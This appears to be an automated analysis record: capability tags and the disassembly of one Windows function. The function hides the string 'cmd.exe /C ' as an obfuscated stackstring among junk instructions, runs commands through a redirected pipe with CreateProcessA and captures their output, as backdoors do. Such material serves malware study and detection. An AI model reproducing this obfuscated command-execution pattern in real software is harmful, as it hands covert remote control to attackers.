Function at 0x1002deb0
Capabilities:
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1015cf65
mov eax, dword fs:[0]
push eax
mov eax, 0x10f4
call fcn.10102550
mov eax, dword [0x101af0fc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10dc], 0
test eax, 0x545c
test edi, edi
lea ecx, [ebp - 0x10d5]
call fcn.1000c450
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x10e4]
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x10e8]
push ecx
lea ecx, [ebp - 0x7c]
call fcn.10011320
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10d5]
call fcn.10003580
push ecx
pop ecx
mov dword [ebp - 0xc8], 0
push ebx
pop ebx
xor edx, edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], edx
test ecx, ecx
mov dword [ebp - 0x64], 0xc
nop
mov dword [ebp - 0x60], 0
push eax
pop eax
mov dword [ebp - 0x5c], 1
push eax
pop eax
push 0
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x1002dfae
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cef0
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e20
mov eax, dword [ebp + 8]
jmp 0x1002e2e1
cmp dword [ebp + 0x14], 0
je 0x1002e009
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x10ec], edx
mov eax, dword [ebp - 0x10ec]
add eax, 1
mov dword [ebp - 0x10f0], eax
mov ecx, dword [ebp - 0x10ec]
mov dl, byte [ecx]
mov byte [ebp - 0x10f1], dl
add dword [ebp - 0x10ec], 1
cmp byte [ebp - 0x10f1], 0
jne 0x1002dfcc
mov eax, dword [ebp - 0x10ec]
sub eax, dword [ebp - 0x10f0]
mov dword [ebp - 0x10f8], eax
je 0x1002e009
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xc8], ecx
test edi, edi
test eax, 0x7325
test esi, esi
push 0x44
push 0
lea edx, [ebp - 0xc4]
push edx
call fcn.10102a00
add esp, 0xc
test edx, edx
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
test cl, cl
mov dword [ebp - 0xc4], 0x44
test ecx, ecx
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x84], ecx
mov dh, dh
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
mov ebx, ebx
mov word [ebp - 0x94], 0
mov edi, edi
mov dword [ebp - 0x98], 0x101
test eax, 0xdfc
mov byte [ebp - 0x58], 0x63
mov byte [ebp - 0x57], 0x6d
mov byte [ebp - 0x56], 0x64
mov byte [ebp - 0x55], 0x2e
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x78
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x20
mov byte [ebp - 0x50], 0x2f
mov byte [ebp - 0x4f], 0x43
mov byte [ebp - 0x4e], 0x20
mov byte [ebp - 0x4d], 0
push ecx
pop ecx
lea ecx, [ebp - 0x10d6]
call fcn.1000c450
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x10fc]
mov dword [ebp - 0x1100], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1100]
push ecx
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x3c]
call fcn.100085d0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x10d6]
call fcn.10003580
mov ecx, ecx
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x3c]
call fcn.100118f0
mov bl, bl
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0xc8]
push eax
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x3c]
call fcn.1000c5e0
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x1002e17a
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test ah, ah
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cef0
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.10006e20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e20
mov eax, dword [ebp + 8]
jmp 0x1002e2e1
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test al, al
mov dword [ebp - 0xcc], 0
push edx
pop edx
test ch, ch
cmp dword [ebp + 0x18], 0
jle 0x1002e1f2
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
mov edx, edx
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x18], ecx
test bl, bl
mov dword [ebp - 0x14], 0
xchg ebx, eax
xchg ebx, eax
call fcn.1003c870
mov dword [ebp - 0xd0], eax
mov eax, eax
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
push 0x1002a690
push 0
push 0
call fcn.1010405f
add esp, 0x18
mov dword [ebp - 0xcc], eax
test edx, edx
mov eax, dword [ebp - 0xd0]
push eax
call fcn.1003c940
add esp, 4
test dh, dh
mov ecx, 1
test ecx, ecx
je 0x1002e24f
mov dl, dl
mov al, al
push 0x1000
push 0
lea edx, [ebp - 0x10d4]
push edx
call fcn.10102a00
add esp, 0xc
push eax
pop eax
push 0
lea eax, [ebp - 0xd4]
push eax
push 0xfff
lea ecx, [ebp - 0x10d4]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x1002e23c
jmp 0x1002e24f
lea eax, [ebp - 0x10d4]
push eax
lea ecx, [ebp - 0x7c]
call fcn.100118f0
mov ah, ah
jmp 0x1002e1f2
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, al
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test edx, edx
cmp dword [ebp + 0x18], 0
jle 0x1002e29f
cmp dword [ebp - 0xcc], 0
je 0x1002e29f
mov dword [ebp - 0x14], 1
test al, al
push 0xffffffffffffffff
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test ebx, ebx
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test dh, dh
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, eax
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cef0
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.10006e20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.1010190d
mov esp, ebp
pop ebp
ret